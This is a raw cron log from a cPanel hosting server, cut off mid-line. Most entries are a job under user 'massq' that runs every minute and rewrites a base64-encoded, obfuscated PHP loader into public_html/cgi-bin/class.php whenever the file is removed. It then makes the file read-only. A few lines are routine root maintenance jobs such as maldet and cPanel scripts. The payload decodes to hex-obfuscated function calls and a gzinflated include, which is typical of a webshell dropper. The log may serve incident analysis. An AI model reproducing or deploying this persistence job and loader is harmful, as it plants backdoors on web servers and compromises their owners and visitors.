Apr 10 02:30:01 server CROND[19398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:31:01 server CROND[19516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:32:01 server CROND[19568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:33:01 server CROND[19735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:34:01 server CROND[19802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:35:01 server CROND[19864]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 02:35:01 server CROND[19865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:35:01 server CROND[19866]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:35:01 server CROND[19869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:35:01 server CROND[19870]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 02:36:01 server CROND[19982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:37:01 server CROND[20054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:38:01 server CROND[20212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:39:01 server CROND[20266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:39:01 server CROND[20265]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 02:40:01 server CROND[20328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:40:01 server CROND[20329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:40:01 server CROND[20331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 02:40:01 server CROND[20330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:41:01 server CROND[20439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:42:01 server CROND[20495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:42:01 server CROND[20496]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 02:43:01 server CROND[20660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd